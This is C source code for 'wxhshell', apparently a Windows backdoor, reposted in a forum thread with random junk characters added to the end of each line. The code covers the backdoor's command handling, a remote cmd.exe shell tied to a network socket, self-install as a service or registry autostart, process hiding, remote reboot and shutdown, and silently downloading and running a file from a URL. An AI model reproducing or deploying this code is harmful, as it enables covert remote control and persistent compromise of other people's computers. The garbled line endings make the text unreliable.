  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &|s0P   
  } iOd&B B6  
  else { |B?cVc0  
g#"zQvON  
    switch(cmd[0]) { C8J[Up  
  1T"`v tR  
  // 帮助 F|'>NL-=  
  case '?': { &p'Y^zL-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hr#M-K  
    break; 4`4kfiS$  
  } Tm~" IB*  
  // 安装 \o z#l'z  
  case 'i': { Y>dF5&(kb  
    if(Install()) /K+r? ]kf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -RE^tW*Yy  
    else }5ret  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +5w))9@  
    break; 2~Kgv|09  
    } /j #n  
  // 卸载 .M qP_Z',  
  case 'r': { 0\X\izQ5  
    if(Uninstall()) d6Ht2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8v:T.o;<  
    else %"q9:{m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S ^!n45l  
    break; ahJ`T*)HY  
    } !8TlD-ZT/  
  // 显示 wxhshell 所在路径 MUaq7B_>  
  case 'p': { prWk2_D;*  
    char svExeFile[MAX_PATH]; (of#(I[m7  
    strcpy(svExeFile,"\n\r"); "Bh}}!13  
      strcat(svExeFile,ExeFile); T-'OwCB1q  
        send(wsh,svExeFile,strlen(svExeFile),0); 8V~k5#&Ow  
    break; P@,XEQRd`  
    } 4-l 8,@9  
  // 重启 $jjfC  
  case 'b': { [8Y:65  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _'#n6^Us<  
    if(Boot(REBOOT)) ayn)5q/z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tP:lP#9  
    else { BOX{]EOj  
    closesocket(wsh); 9e<.lb^tP  
    ExitThread(0); NpE*fR')  
    } ^7 w+l @  
    break; `{f}3bO7C  
    } zG }@0  
  // 关机 /fKx} }g)  
  case 'd': { >Rl"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *l"T$H   
    if(Boot(SHUTDOWN)) wy<\Tg^J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b(,M1.[qt  
    else { zN[hkmh  
    closesocket(wsh); ?j'7l=94A  
    ExitThread(0); ;!>rnxB?4  
    } x,'(5*  
    break; &u]8IEv}u  
    } Y[ j6u\y  
  // 获取shell 6O7'!@@  
  case 's': { XPavReGf  
    CmdShell(wsh); h&M{]E9=  
    closesocket(wsh); \S"isz  
    ExitThread(0); .r|tSfm6  
    break; &pP;Neh;  
  } =T3 <gGM  
  // 退出 |.(dq^  
  case 'x': { g!FuY/%+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [T|aw1SoN  
    CloseIt(wsh); 8f_l}k$Eg  
    break; 1gE [v  
    } lXx=But  
  // 离开 ^6jV_QM#  
  case 'q': { sG(~^hJ_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9Uh"iMB  
    closesocket(wsh); s%vis{2  
    WSACleanup(); /Y/UM3/  
    exit(1); u]g%@3Pn  
    break; 5 )A1\  
        } *1ilkmL%  
  } >,v`EIg  
  } jSJqE _1  
y|jl[pyg)  
  // 提示信息 c_dVWh e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zKyyU}LHH  
} I )~GZ  
  } ;d@#XIS&-(  
!`M,XSp(  
  return; 3#W T.4k  
} I:E`PZ  
C+* d8_L  
// shell模块句柄 B~?*?Z'  
int CmdShell(SOCKET sock) EZgq ?l~5O  
{ cF\;_0u  
STARTUPINFO si; Ka'=o?'B5  
ZeroMemory(&si,sizeof(si)); C0sX gM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C>]0YO k2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xI{)6t$`  
PROCESS_INFORMATION ProcessInfo; g!|=%(G=  
char cmdline[]="cmd"; k 9_`(nx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^dI424  
  return 0; kPKB|kP\  
} ,j#XOy`mzy  
V"[g.%%Y  
// 自身启动模式 ,A9]CQ  
int StartFromService(void) hE &xE;  
{ Ve8=b0&Y#j  
typedef struct &r[`>B{tP  
{ R &n Pj~  
  DWORD ExitStatus; DKH-Q(M56  
  DWORD PebBaseAddress; n#cC+>*>+  
  DWORD AffinityMask; %7QV&[4!  
  DWORD BasePriority; # ncRb  
  ULONG UniqueProcessId; l.(v^3:X  
  ULONG InheritedFromUniqueProcessId; d|jNf</`  
}   PROCESS_BASIC_INFORMATION; #"}JdBn  
|+{)_?  
PROCNTQSIP NtQueryInformationProcess; &U{#Kt5q  
C/_ZUF(V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )n1_(;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /~DI 6g  
FX;QG94!  
  HANDLE             hProcess; O 5!7'RZ  
  PROCESS_BASIC_INFORMATION pbi; %9 SJ E  
i9rN9Mq?O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '%>=ZhO  
  if(NULL == hInst ) return 0; W4 t;{b  
2_)\a(.Qu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Je[ZQ$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?)/#+[xa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W=ig.-  
*tGY6=7O  
  if (!NtQueryInformationProcess) return 0; *}Xf!"I#]N  
:Oy%a'w   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [m- >5H  
  if(!hProcess) return 0; SDL7<ZaE  
Eu0akqZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'Oxy$U   
XUrXnz|>  
  CloseHandle(hProcess); q~rEq%tk  
]yV!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )"qa kT  
if(hProcess==NULL) return 0; at@G/?  
*$#W]bO  
HMODULE hMod; &g#@3e1>  
char procName[255]; }?lrU.@zg  
unsigned long cbNeeded; []D&bYpv  
t1]K<>g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3v(*5  
9/9j+5}+  
  CloseHandle(hProcess); ;$HftG>B  
.28<tEf  
if(strstr(procName,"services")) return 1; // 以服务启动 YP 6` L  
-7SAK1c$  
  return 0; // 注册表启动 1eA7>$w}[  
} RXNn[A4xfY  
fAF1"4f  
// 主模块 1v#%Ei$6`t  
int StartWxhshell(LPSTR lpCmdLine) 7 G)ZN{'  
{ G3t xj  
  SOCKET wsl; }#3V+X  
BOOL val=TRUE; B)$| vK=  
  int port=0; y@1+I ~@  
  struct sockaddr_in door; >d@&2FTO  
2{D{sa  
  if(wscfg.ws_autoins) Install(); 85>05 ?  
PYQ;``~x  
port=atoi(lpCmdLine); W=lyIb{?^0  
q~ tz? T_  
if(port<=0) port=wscfg.ws_port; Mc@e0  
8."]//V  
  WSADATA data; \Bz_p'[G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y21g{$~Q{  
1f%1*L0>@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &)2i[X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0mpX)S  
  door.sin_family = AF_INET; 60P<4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "33Fv9C#bK  
  door.sin_port = htons(port); rUwZMli  
bw(a6qKK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #:jHp44J  
closesocket(wsl); V4hiGO[  
return 1; Fiv3 {.  
} G, 44va  
p5Z"|\  
  if(listen(wsl,2) == INVALID_SOCKET) { ~3^ 8>d/  
closesocket(wsl); YD <:,|H   
return 1; Y5f1lUT  
} Q}`0W[a ~  
  Wxhshell(wsl); !NIhx109q  
  WSACleanup(); @X%C>iYa9  
fJ5iS  
return 0; I?]ohG K  
@#<D ^"  
} ()2I#  
|rY1US)S  
// 以NT服务方式启动 :D euX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gK_Ymq5>"M  
{ ,%6P0#-  
DWORD   status = 0; C7XxFh  
  DWORD   specificError = 0xfffffff; 2SD`OABf#  
c7<wZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {mm)ay|M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bz^jw>1b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5:\},n+VE  
  serviceStatus.dwWin32ExitCode     = 0; \<.+rqa!  
  serviceStatus.dwServiceSpecificExitCode = 0; 63^O|y\W8  
  serviceStatus.dwCheckPoint       = 0; >l]Xz*HE  
  serviceStatus.dwWaitHint       = 0; 8H;t_B  
?TM ,Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jk&3%^P{m  
  if (hServiceStatusHandle==0) return; 0[A[U_b  
aL*&r~`&e'  
status = GetLastError(); j-0z5|*KE  
  if (status!=NO_ERROR) lyIl-!|  
{ t!*?dr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kv]~'Srk  
    serviceStatus.dwCheckPoint       = 0; cT<1V!L4  
    serviceStatus.dwWaitHint       = 0; %huRsQ %}  
    serviceStatus.dwWin32ExitCode     = status; +Um( h-;  
    serviceStatus.dwServiceSpecificExitCode = specificError; I*%-cA%l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G(Lzf(  
    return; ,f<?;z  
  } vmi+_]   
nv GF2(;l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4 <9=5q]  
  serviceStatus.dwCheckPoint       = 0; |)nZ^Cc  
  serviceStatus.dwWaitHint       = 0; p s/A yjk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -1 FPkp  
} L E&RY[  
Y}x>t* I  
// 处理NT服务事件,比如:启动、停止 4^:\0U F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 00'%EYO  
{ :X0k]p  
switch(fdwControl) ;QWIsVz  
{ V\t.3vT  
case SERVICE_CONTROL_STOP: m/Oh\KlIl  
  serviceStatus.dwWin32ExitCode = 0; 4 kn|^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d^ Inb!%w  
  serviceStatus.dwCheckPoint   = 0; u_hD}V^x4  
  serviceStatus.dwWaitHint     = 0; F{Z~ R  
  { }e!x5g   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rEv@Y D  
  } 2gc/3*F8  
  return; QU4h8}$  
case SERVICE_CONTROL_PAUSE: #J@[Wd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QXL'^uO  
  break; h xSKG  
case SERVICE_CONTROL_CONTINUE: C+'/>=>a.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~{d$!`|a  
  break; 05z,b]>l  
case SERVICE_CONTROL_INTERROGATE: kr+D,h01  
  break; t,,k  
}; 6tXq:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -!q :p&c  
} x8wD0D  
GU4'&#  
// 标准应用程序主函数 ~s% Md  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q_TR q:&.  
{ ADS9DiX/  
_/F7 ?^j  
// 获取操作系统版本 Y ?S!8-z  
OsIsNt=GetOsVer(); N8k00*p65  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6 2'j!"xv  
S)lkz'tdk  
  // 从命令行安装 #EO9UW5  
  if(strpbrk(lpCmdLine,"iI")) Install(); A$<.a'&T!  
@AG n{q  
  // 下载执行文件 X59: C3c  
if(wscfg.ws_downexe) { l%[EXZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?6yjy<D)$e  
  WinExec(wscfg.ws_filenam,SW_HIDE); lU @]@_<  
} Xp >7iX!:  
C3*gn}[  
if(!OsIsNt) { V`X2> -Ex  
// 如果时win9x,隐藏进程并且设置为注册表启动 H#@^R(  
HideProc(); <%($7VMev  
StartWxhshell(lpCmdLine); p qfUW+>  
} os,* 3WO  
else }#.L7SIJ<J  
  if(StartFromService()) y603$Cv  
  // 以服务方式启动 ^X0P'l &D2  
  StartServiceCtrlDispatcher(DispatchTable); m4aB*6<lq  
else ZZ k=E4aae  
  // 普通方式启动 >{N9kW Y  
  StartWxhshell(lpCmdLine); Kh,V.+7k  
J]v%q,"  
return 0; IzsphBI  
}
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只看该作者 1 发表于: 2006-10-10
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